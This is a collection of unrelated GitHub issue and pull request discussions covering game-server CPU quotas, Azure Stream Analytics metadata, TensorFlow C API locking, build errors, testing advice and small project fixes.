interval. So if the above takes up say, 10ms, then there's 5ms 'left over'
for E2 processing. If they take more than this time, players will start to
notice jerkiness in physics, and the server FPS will drop. Obviously
servers will take more or less than 10ms depending on many factors,
including number of non-sleeping physics objects, or if it's a 100/33 tick
server, and there can be many E2s running at once. This makes determining a
threshold difficult.
thegrp93's solution would probably work for some servers, but it isn't a
great one size fits all approach, and it would be far less
consistent/predictable than the ops system. I wouldn't be opposed to adding
something like it, multiplied against tickrate, as an option.
Really someone should probably try benchmarking a ton of functions against
their cputime, and reevaluate their ops count. Doing so programmatically
might be an interesting challenge...
Wouldn't work for propCreate and holoCreate, but those are already rate
limited.
On Apr 1, 2015 12:30 PM, "thegrb93"<EMAIL_ADDRESS>wrote:

This is what I use for my server
timer.Create("CheckE2Cpu", .5, 0, function()
for k, v in pairs(ents.FindByClass("gmod_wire_expression2")) do
if v.context then
if v.context.timebench > .003 then
v.TOOMUCHCPU = (v.TOOMUCHCPU or 0) + 1
if v.TOOMUCHCPU == 5 then
v:Error("Expression 2 (" .. v.name .. "): cpu quota exceeded", "cpu quota exceeded")
v:PCallHook('destruct')
v.context.timebench = 0
end
else
v.TOOMUCHCPU = 0
end
end
end
end)
—
Reply to this email directly or view it on GitHub
https://github.com/wiremod/wire/issues/887#issuecomment-88604294.

@AbigailBuccaneer do you have a problem with that? @monkstick is a friend of mine and I thought that this is a good idea so I said that I agree with it

Detecting hanging is trying to solve the halting problem.

Starfall has a nice cpu quota system. Might try looking at that.

https://github.com/INPStarfall/Starfall/blob/develop/lua/starfall/instance.lua#L31

If it would be a massive headache to pull off, I don't mind adopting @thegrb93 's meathod plus re-evaluating some of the more common functions.  Things like holoCreate, parenting and other propCore functions are massively under estimated with there ops count IMO.

I feel that some of the basic functions like holo / entity parenting, setpos, setang and HoloCreate need an OPS boost to avoid newer players from making really bad decisions when coding and causing a lot of un-needed strain on servers, just because there's no real punishment for doing it.

holo parenting does not need an ops boost. It's a pretty cheap operation. holoPos/setPos + holoAng/setAng might need an increase though, and definitely holoCreate.

Whilst we're on the subject of re-evaluating ops, one of my clients told me that if you make a huge array and sort it on tick / perf, it will cripple a server.  I'll ask him for the exact code later on today, but perhaps we could make a list of functions which should definitely be re-considered.

@oldmud0 No, it's not. The halting problem is to determine whether a given program will ever halt; for E2, all you need to know is whether it will halt within a certain number of microseconds. That's easy to find out - just run it for that long, and check whether it's still going!

@TomyLobo let me know that this issue was unresolved.
In my opinion, we shouldn't replace the OPS system with any kind of time check in E2, simply because it's not worth the effort. Starfall works differently, so it can use the default lua debug.sethook to check performance, but I'm not sure if E2 can do that. In any case, the OPS system works fine. It just needs some adjusting for a few functions.


IoT Hub message user properties are not arriving in ASA job?

According to the documentation, User properties and IoT Hub routing enrichments are supported by the IoT Hub.
Additionally, twin properties and enriched properties added using IoT Hub message enrichment can also be retrieved using GetMetadataPropertyValue.

I tried to get a user property (together with some message enrichments).
I do not see them arriving in an Azure Stream Analytics job, listening to the IoT Hub:

I see them arriving in an Azure Function (just to check the EventData message) listing to the same IoT Hub messages:

So, what am I missing?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 0f18461c-e0bf-e7b4-f34c-5a632fb06f66
Version Independent ID: b7e06d15-933e-f361-21dd-e4e2a9294669
Content: GetMetadataPropertyValue (Azure Stream Analytics) - Stream Analytics Query
Content Source: stream-analytics-docs/getmetadatapropertyvalue.md
Service: stream-analytics
GitHub Login: @Fleid
Microsoft Alias: fleide

Hey @sandervandevelde!
That's an UI issue. Currently the portal query editor doesn't support GetMetadataPropertyValue (see the note here).
If you check in VS Code it should work properly.

Ah, missed that one.
I hope this is fixed at some point in time. For customer/community demonstrations and blogging, the portal is the preferred way to communicate/demonstrate features (simple to understand for newbies).

Closing this now. Thanks.

Ah, missed that one.
I hope this is fixed at some point in time. For customer/community demonstrations and blogging, the portal is the preferred way to communicate/demonstrate features (simple to understand for newbies).

We know, and be sure that we do want to close that gap.

If you want to have this tested, I'm happy to help ;-)


C API Locking prevents custom gradient definition

I am trying to add custom gradient support to the Java bindings (tensorflow/java#292).  This is currently being prevented by the fact that TF_AddGradientsWithPrefix requires a lock on the graph, but so do any operation creation methods (i.e. TF_NewOperation), so it is impossible to create ops in gradient functions.
Is there a way I can get around this?  I am considering calling TF_NewOperationLocked directly but I assume the locks are there for a reason.

Thanks for reporting the issue!

Please feel free to send a PR!

I can, but what's the preferred solution?  Providing and exposing a TF_AddGradientsWithPrefixLocked that doesn't lock, or exposing TF_NewOperationLocked and TF_FinishOperationLocked?  (See #48815)

Exposing TF_NewOperationLocked and TF_FinishOperationLocked sgtm.


chore: delay imports of Star

Have you considered going the other way? It seems like we could have a Star.Defs file could be very light-weight.

We should do that too! :-)

Also please keep the imports sorted

I'm assuming the rule is just alphabetic? I hadn't realised we were doing this.

(The motivation here was being annoyed at encountering these imports when doing a minimization.)

bors merge

bors r-
bors d+

bors merge


⚠ Bofrost.at has degraded performance

In 98bb246, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1765 ms

Resolved: Bofrost.at performance has improved in a26746d.


Strict limit of unit test

You are awesome man, this will help alot
have you read this
But i wonder what should be better not in unit test?
my controller is quite complex and and more details we test in unit test, later if the app grow it will force us to change 2 code right?

In my opinion, the more tests the better. Unit testing is a great tool for documentation of code. With tests, you are describing all methods and functions.
If your controller is complex, then you are doing something wrong. I think that in AngularJS controllers should be slim as possible. All logic should be in services. And of course not in one. You should split your code into small, independent units. So when the code will change, then you will have to change only small pieces of tests.
I've never heard about ngMidwayTester, but it looks good. In my opinion, there should be also some integration tests in every project, to test how some services are interacting with each others. This tool is really helpful. Maybe in near future, I will add some features to making integration tests easier.

@dakolech my controller involving ui-router and ui-grid, any advice?
I already move some of it into service.

I'm also using ui-grid and ui-router in my actual project. I moved as much as possible to services and I'm testing only my code, not ui-router or ui-grid implementation. To ui-grid there are great tools for E2E tests.

@dakolech did you mind show me an example for that?

Unfortunately I can't, it's a private project.

@dakolech I mean just the simple way, not exact code.
I can't figure it out how to move some code which involve ui-grid from controller to service.
But it's okay, i know you responsible for that.

I've moved all tableOptions to the service and when the controller is fired I'm calling a method from there.
There is another service for searching (SearchProductsService):
`registerGridOptions() {
let singleFilter = (renderableRows) => {
var searchResults = this.SearchProductsService.search(this.searchText, renderableRows);
return searchResults;
};
    this.gridOptions.onRegisterApi = (gridApi) => {
        let priority = 200;
        this.gridApi = gridApi;
        this.gridApi.grid.registerRowsProcessor(singleFilter, priority);
    };

    this.gridOptions.appScopeProvider = this;
}`

I know, that some code must stay in the controller, but in this example, I'm using the search method from the SearchProductsService in registerRowsProcessor.


Improve performance in the Test phase

Maven will run all tests in a single forked VM by default. This can be problematic if there are a lot of tests or some very memory-hungry ones. We can fork more test VM by setting <fork>1.5C</fork>.
=====================
If there are any inappropriate modifications in this PR, please give me a reply and I will change them.

Thanks for the PR @CAIWan1998.  "1C" should be good enough (1vm per core)

On second thought, 1.5C makes more sense when on low-core systems.


CORS issue : AngularJS POST Fails: Response for preflight has invalid HTTP status code 404

Hello guys,  so I've 2 applications running on ec2.
First one is mainly used for calling services upon ( using mongo, angular, express.js)
Second one has the whole UI (Ionic ) and it calls the other one for the data.  It runs okay for http READ operation but when i try to run UPDATE on the server  it gives me this error.
Can someone please help me how to resolve this CORS issue in IONIC app ?

Hello! Thanks for opening an issue with us! As this seems like more of a support question i will urge that you ask this question on our forum or on our [slack channel](https://ionic-worldwide.slack.com/messages?]. Thanks for using Ionic!


assert(std::abs(determinant) > MACHINE_EPSILON);

I'm at it again - assert(std::abs(determinant) > MACHINE_EPSILON); is firing:
reactphysics3d::Matrix2x2::getInverse(const reactphysics3d::Matrix2x2 * const this) (/home/ian/dev/hedgey/Engine/lib/reactphysics3d/src/mathematics/Matrix2x2.cpp:49)
reactphysics3d::SolveHingeJointSystem::solvePositionConstraint(reactphysics3d::SolveHingeJointSystem * const this) (/home/ian/dev/hedgey/Engine/lib/reactphysics3d/src/systems/SolveHingeJointSystem.cpp:697)
reactphysics3d::ConstraintSolverSystem::solvePositionConstraints(reactphysics3d::ConstraintSolverSystem * const this) (/home/ian/dev/hedgey/Engine/lib/reactphysics3d/src/systems/ConstraintSolverSystem.cpp:111)
reactphysics3d::PhysicsWorld::solvePositionCorrection(reactphysics3d::PhysicsWorld * const this) (/home/ian/dev/hedgey/Engine/lib/reactphysics3d/src/engine/PhysicsWorld.cpp:430)
reactphysics3d::PhysicsWorld::update(reactphysics3d::PhysicsWorld * const this, reactphysics3d::decimal timeStep) (/home/ian/dev/hedgey/Engine/lib/reactphysics3d/src/engine/PhysicsWorld.cpp:364)
This is on the first tick of my simulation as well!
Can I save the physics world to send to you?
Cheers,
Ian

Thanks for reporting this issue.
Do you have a simple piece of code with your joint where the issue happens so that I can try to reproduce it on my side ?


Add a skill to generate rpm character descriptions

Describe the contribution to the taxonomy
This skill allows the chatbot to generate more concise, general descriptions of characters (and archetypes) like you would find in RPG game examples.
Input given at the prompt
Generate a description of a dwarven thief
Response that was received
╭──────────────────────────────────────── merlinite-7b-Q4_K_M ────────────────────────────────────────╮
│ A dwarven thief is a captivating figure, blending the strength and resilience of their dwarven      │
│ heritage with the cunning and stealth of a masterful burglar. They typically stand at a height of 4 │
│ to 5 feet, with sturdy, compact builds, and well-groomed beards, reflecting their cultural          │
│ identity. Their eyes, often deep-set and piercing, reveal their keen observation skills and sharp   │
│ wit.                                                                                │
│                                                                                │
│ Dwarven thieves adorn themselves in practical attire, blending durability with stealth. They often  │
│ wear form-fitting leather armor, augmented with chainmail for added protection, and utilize dark,   │
│ muted colors to blend into their surroundings. Their garments are designed with numerous pockets    │
│ and compartments, housing essential tools and weapons for their craft.                              │
│                                                                                │
│ These skilled individuals excel in various areas, including lockpicking, stealth, and acrobatics.   │
│ They are adept at navigating the shadows, evading detection, and disabling traps with their agile   │
│ limbs and nimble fingers. Dwarven thieves also possess impressive physical prowess, allowing them   │
│ to withstand punishment that would fell less resilient creatures.                                   │
│                                                                                │
│ In terms of personality, dwarven thieves are often independent, resourceful, and cunning, with a    │
│ strong sense of honor and loyalty to their kin. They may be seen as enigmatic, as they balance      │
│ their stealthy nature with the unyielding reputation of their dwarven lineage. Despite their        │
│ solitary tendencies, they can form strong bonds with like-minded individuals, forging alliances     │
│ based on mutual respect and shared goals.                                                           │
│                                                                                │
│ In summary, a dwarven thief is a fascinating blend of strength, cunning, and resilience, combining  │
│ the best aspects of their dwarven heritage with the skills required for their clandestine           │
│ profession. Their practical attire, agile movements, and keen observation skills make them          │
│ formidable adversaries and valuable allies in the world of high fantasy.                            │
╰──────────────────────────────────────────────────────────────────────────── elapsed 50.721 seconds ─╯
Response that is now received instead
Unfortunately I was unable to finish running this with colab.  However, in the lab generate output, the examples generated looked much more like the answers in the qna.yaml file.
Contribution checklist

[x] Contribution was tested with lab generate
[x] No errors or warnings were produced by lab generate
[x] All commits are signed off (DCO)
[x] The qna.yaml file was linted and prettified (yaml-validator can do both)

Thank you for your contribution to InstructLab! Unfortunately, once a Github repo is made public, all open PRs are automatically closed since they link against a private repo. We have detected that your PR might have been one of the ones affected by this change. If you are still interested in contributing your improvement, please fill out the following short form by no later than May 3rd, and we will get back to you with the additional steps necessary once we have had time to assess the PRs of those still interested:
https://forms.gle/V7SrPPMZDo6iGDYu8


build error for linux_arm target

Updated to v2.8.21 and GO1.23 and receive now an error on Linux arm target (with goreleaser)
 ⨯ build failed after 3s                    error=failed to build for linux_arm_6: exit status 1: # github.com/sijms/go-ora/v2/converters vendor\github.com\sijms\go-ora\v2\converters\other_types.go:81:25:<PHONE_NUMBER> (untyped int constant) overflows int vendor\github.com\sijms\go-ora\v2\converters\other_types.go:102:23:<PHONE_NUMBER> (untyped int constant) overflows int vendor\github.com\sijms\go-ora\v2\converters\other_types.go:108:21:<PHONE_NUMBER> (untyped int constant) overflows int vendor\github.com\sijms\go-ora\v2\converters\other_types.go:116:21:<PHONE_NUMBER> (untyped int constant) overflows int
other targets(Linux arm64,windows amd64) are not affected as well as v2.8.20 also doesn't have this issue

Also seeing this with go-ora v2.8.21 and Go v1.22.8 building for ARMv6 and ARMv7 Linux systems, same set of reported errors.


Add cleaning schedule to schedule

Every day another association is responsible for cleaning the canteens, unless there is an activity. It would be nice if the cleaning schedule for each venue could be added to the schedule, such that there is one place where associations & Olympus can look to see who is/was responsible for cleaning the canteen on a given day.

I hate to use the word, but for me it feels like a little bit of feature creep to implement this, as the cleaning schedule is just a mapping of weekdays to associations, right? If people remember to have a look at tosti to see who is on the schedule, probably they will already know that they are responsible.

Fair, I closed the issue.


Include specific incoming links in content

The interesting change is in the last commit.
To render a working_group, you need the list of policies which link to that
working_group.
We could fulfill that by adding special knowledge to the frontend so that it
knows to make a second request, to /incoming-links. There are a few issues with
that:

one of the design goals of the content-store is that it includes everything
needed to render that page
it complicates the frontend
we think that when dependency resolution is implemented, the API of
content-store will change to match this implementation, and that the
/incoming-links endpoint could be removed

If the API design does change in this way, then we don't need to do anything to
our frontends when we implement dependency resolution.
I'd rather it wasn't so directly hardcoded - instead having a list with an
entry for each format, containing the various strings - but I had difficulty
with naming. Probably best to refactor when we get to the second or third use
case.
We are reasonably confident that there will be other formats where this
functionality will be required.
I see this change as being similar to 04368e5.

LGTM :+1:

I'm not sure about the approach. It seems similar to what RFC 37 is about. @bradwright says

"As part of this we recommend that we don't constrain our thinking to single API calls for all pages - there are a small amount of very complex pages on GOV.UK that we'll always be unable to easily render in a single call, and we should endeavour to provide the right tools to support more complex pages."

The main thing probably is that if a working group page frontend is going to change, we'd have to change this endpoint too. How do we feel about that?

@tijmenb I agree, but our rationale for doing it this way is that it's a fudge while we wait for dependency resolution. I think I'm right in saying that dependency resolution was something that came along after that RFC.
This change feels acceptable to me for the same reason as https://github.com/alphagov/content-store/commit/04368e52d22d1e5422608ce18cf11e306014f377

The main thing probably is that if a working group page frontend is going to change, we'd have to change this endpoint too. How do we feel about that?

In terms of dependency resolution, I think the plan was to express this configuration in the content-schemas as a way of constraining complexity and keeping it implementation-agnostic.

Allright, understood! Looking forward to the dependency resolution, curious to see how that will turn out.

:+1:, subject to the comments Jamie makes on LinkedItemsQuery.

OK, I think this is now ready for review/merge.

:clap:

:clap: :sparkles: :100:


DllNotFoundException: AirarColorMap assembly: type: member:(null) i get the error

I am getting this error even though I have done all the steps. Please help with this. I have to complete homework. Thank you from now.
Unıty: 2021.3.11f1
Libopencv_java4.so
vuforıa SDK: add-vuforia-package-10-12-3
Android

libopencv_java3.so file and libAirarColorMap.so file
It should be placed inside the Assets/Plugins/Android folder.

I did everything but still getting this error. Please help me.

I did everything but still getting this error. Please help me.

https://github.com/airar-dev/Unity-AR-ColorMapping/issues/29#issuecomment-1315085990
There is a demo video in the link above.

Hello, I have the same issue, did you find a solution?
Unıty : 2021.3.15f1
Libopencv_java4.so or Libopencv_java3.so
Vuforıa SDK: add-vuforia-package-10-12-3
Android

Unity 2021.3.4f1, Vuforia 10.11.3 + package 1.3.2 and libopencv_java3 works fine..
I think you're missing something...
Have you put both the libopencv_java3.so file and the libAirarColorMap.so file and set them to ARM64?
Make sure you set the define correctly


Break NativePalletAssetOr impl into composable parts

Take advantage of FilterAssetLocation's Tuple implementation.

Closed by #436


Add touch support for mobile devices

See: 602ebeedd4fe29a6f6c2c5c3c68d75ff749a17e1

I suspect this bug might explain the problem I am having with iOS devices. When I click / press one of the suggestions, the suggestions list disappears, but the proper event for onSelectionClicked doesn't fire. Does this match the behavior you are seeing ?

@nitelite Yeah, I think it's the same. Should be fixed now in 2.1.0. Let me know if you still experience issues.

Just wanted to add that upgrading to 2.1.0 fixed the issue for me. Thanks alot. I can now switch over from the old hacked together jquery thing on your website to the new react-based component. Oh, the joy :D


Copying license from inference repo

Apache 2.0

@TheKanter This is the license from the inference repo. Can you approve the PR? Thanks!


subs: Fix broken streams list header/search container in Safari.

Before:

After:

Fixes #10064.

Tested, works great.

Merged, thanks @synicalsyntax!
One thing I noticed that seems to be broken while testing this is that the "create stream" section on the RHS is no longer properly centered; any ideas?